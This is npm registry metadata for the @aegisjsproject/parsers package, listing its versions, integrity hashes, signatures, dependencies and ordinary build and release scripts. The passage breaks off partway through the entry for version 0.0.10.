{"_id":"@aegisjsproject/parsers","_rev":"22-63c9834d063ed1e6172cacb6badfccf8","name":"@aegisjsproject/parsers","dist-tags":{"latest":"0.2.0"},"versions":{"0.0.1":{"name":"@aegisjsproject/parsers","version":"0.0.1","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.1","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"a7c10be5784d8078c648eec1ac0aa5e7eeb14757","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.1.tgz","fileCount":17,"integrity":"sha512-pGqPc7K9WFfjVVdTwwIfBvxt9CFQQP+7WdcA3UxM+sH6Xf5fCvy/1FDIb4HToVJV9v0IWDwxfSQD7uDF9Mmg9A==","signatures":[{"sig":"MEUCIHPC1+4SfJFAS4hhHyjOvWNhpmJm/N/HZzFLMwUL+XTrAiEAnKRFMNQeR5/1VTJatY0BfrNgoUOcIhm9+jVTQDiS9CQ=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":27274},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"62f582f66531f7f1e35a1e960c6f25cab456900a","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.0.7"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^8.57.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.1_1711674894328_0.6477990400436271","host":"s3://npm-registry-packages"}},"0.0.2":{"name":"@aegisjsproject/parsers","version":"0.0.2","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.2","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"af7e216fd08ba18c1855b758c5eb0f93c9fe29ba","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.2.tgz","fileCount":19,"integrity":"sha512-7CVdaIuzVUVX6fcLYdPbDROl6EAJyo9f03k2gOo3Og4lYUvkW50DxMfIitk5DCbOEukfpE/5K7DGGsuXbTnucg==","signatures":[{"sig":"MEUCIQC+eixa6XTv+dDlaSzKbDHcLzDSePZTyZXHYRzINWgfVwIgTdf2Vh7nt6h7P0yWa8NfaoxkKHRcOdYNF44wDRSof8w=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.2","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":90001},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"ca957e10b2977d466d25ba850295a8cca697501c","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.0.7"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^8.57.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.2_1711675673657_0.9247043719776256","host":"s3://npm-registry-packages"}},"0.0.3":{"name":"@aegisjsproject/parsers","version":"0.0.3","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.3","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"f93d0856d388b81574ffb2ccfdd8ff9e6b5b161a","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.3.tgz","fileCount":20,"integrity":"sha512-n3k1p3hey/dqprhGOpt/xulv/Vupm++5ezQJFAoPoKi6WVNq7mj5uUsd163RfCy6Z5Fac28yBROsm+Amaez6vA==","signatures":[{"sig":"MEUCIHohcvfwUQmzQh3bJ2XQHVCV3lfAwRbOdewlXEq0urvMAiEApb5eCXwe5j053lBA9f5LPFBxbh2AcM7oXYC7O5Klvgw=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.3","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":97984},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"2a5c68738814f5fbb3d6c75c8b59b43b5db0dca4","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.0.7"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^8.57.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.3_1711752312404_0.2011362846299849","host":"s3://npm-registry-packages"}},"0.0.4":{"name":"@aegisjsproject/parsers","version":"0.0.4","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.4","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"867b4f379eba8e0d54e3f6001d37d7f54b2e84dd","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.4.tgz","fileCount":20,"integrity":"sha512-NwTiQXbHAwM76g7oubE0yu8C280YFzyDBxKz2XZIyjBCCKVbG9bdMnu9tjnto2RshATt75N1Byn4i/N7JoBsDg==","signatures":[{"sig":"MEQCIEwDEjHIYute447a2WqDNA5LPGF4R6qHlsXZt9nmhFu2AiAXDJfK0zQoNjOzUt1/L9IGT9wN1+gKV4991I71LjH6ng==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.4","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":101400},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"6ecb116dac44a6c050423fc4c6eb201b03d31e69","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.0.7"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^8.57.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.4_1711843863585_0.35171718783763173","host":"s3://npm-registry-packages"}},"0.0.6":{"name":"@aegisjsproject/parsers","version":"0.0.6","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.6","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"70ceb0df9b3b8952043d86545c1a430316d8e0e9","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.6.tgz","fileCount":20,"integrity":"sha512-VPhAWMoOGHeLlviammyv/tmJ/Xu5GSVesraNXqsovwGjQh0FHfhFN4MC5BdbtIuXK/uU/iK1xI/hX3cycFTyfQ==","signatures":[{"sig":"MEYCIQDmcoKstYks+3QLJ0o4rj59c+tILQ2coL2gNw+5OlAWhQIhAOOGulKyoRblgVLRjMOS0BHoCmvQuLSRGOoSw2wqFHQx","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.6","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":103397},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"f94f234765845a9928af830ea4b83daa45b42174","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.0.9"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^8.57.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.6_1712084463952_0.5900828814035961","host":"s3://npm-registry-packages"}},"0.0.7":{"name":"@aegisjsproject/parsers","version":"0.0.7","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.7","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"81327495f70f57786d828ff16a2deb403cb67ce8","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.7.tgz","fileCount":20,"integrity":"sha512-J9mzMJS0CTqY6GCG3Tao3U2vCbB6fB20cNtjw9yq6BLHMexkMCKRCot0Cpa9shPgq5MT3Db67B8GN2VcweObFg==","signatures":[{"sig":"MEUCIAtPXt8R53mjeHfcFQAZjgSLJe29PfGdODz1AaG23OAaAiEAw4CFts2kTP94+KxAtx5emf10fpWZYRk+AP2I5D7AJ0Y=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.7","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":109218},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"f65a519da89454bb8dc46336a87da933250b505d","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.0.10"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^8.57.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.7_1712200726402_0.4415879028732512","host":"s3://npm-registry-packages"}},"0.0.8":{"name":"@aegisjsproject/parsers","version":"0.0.8","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.8","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"8861be0bdbdb7b1943495345c9ea7a77b4a0b17d","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.8.tgz","fileCount":20,"integrity":"sha512-bqc1TxnWxLo+FeKroM9KRy7oLw4Ek0xublOKSyLTJfXwyz4bNT15b8YNWKYsTXEW6FRIZPyx8iQx7JXib2aCYQ==","signatures":[{"sig":"MEUCIQDuGIj2obI8SPhCinzNdfWu5It85740DVEtWuj+5G2RxQIgdKTJ88WqS4hharR+G3BoZb8q/ltVV13gu588FcRc4ZM=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.8","provenance":{"predicateType":"https://slsa.dev/provenance/v0.2"}},"unpackedSize":111044},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"27b039583d5c93078b6d7fdeaca8bb7698d88013","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"9.6.7","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.3.1","dependencies":{"@aegisjsproject/sanitizer":"^0.1.0"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.8_1712697886272_0.5772145528905606","host":"s3://npm-registry-packages"}},"0.0.9":{"name":"@aegisjsproject/parsers","version":"0.0.9","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.9","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"9b04ef77ed9df3b219a280af1f2e8ea39100fa2b","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.9.tgz","fileCount":20,"integrity":"sha512-K+6RxjS5CLvkRTMoDu93m+yAagkVBSq7CN+xMu6DjoPEcxwDrKxd82KaMdAv059PO9caizO0ULr2KL0gDJtSjA==","signatures":[{"sig":"MEUCIQCDpj4JcjsOFFr8YJiW1QEkNv3CTHuMEo9YqtnUs/6flQIgfufX3bQOoP+bi8raOTUZXLb7/FB0g0fLwLSODZ+yNyA=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.9","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":111453},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"dd2c84114315b887d15d3cb77e65e2600263ad8c","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/sanitizer":"^0.1.1"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.9_1726797994584_0.18879982107886417","host":"s3://npm-registry-packages"}},"0.0.10":{"name":"@aegisjsproject/parsers","version":"0.0.10","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.10","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"3a496664e94b668fcdd10a3425f42c55a08baa46","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.10.tgz","fileCount":21,"integrity":"sha512-KFJlDk6yEIahlGP1JKzmP319WSO1PgYrDPVzxJlhqFIcovJoui2zBeDpe/XnMjKyysgWGhM1jBnd0/IrQc2RVQ==","signatures":[{"sig":"MEUCIQD31In66DbSuBKrzQ36LvHHbH9szEG+x8NGvNeLFYaCrQIgRUfzE6jJjVw630pxj7MPdCv85k4CDPFfSSJP1gqjJC4=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.10","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":115032},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"253649e64fcfbf57304c14c9d1691f24d3b17ca9","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run 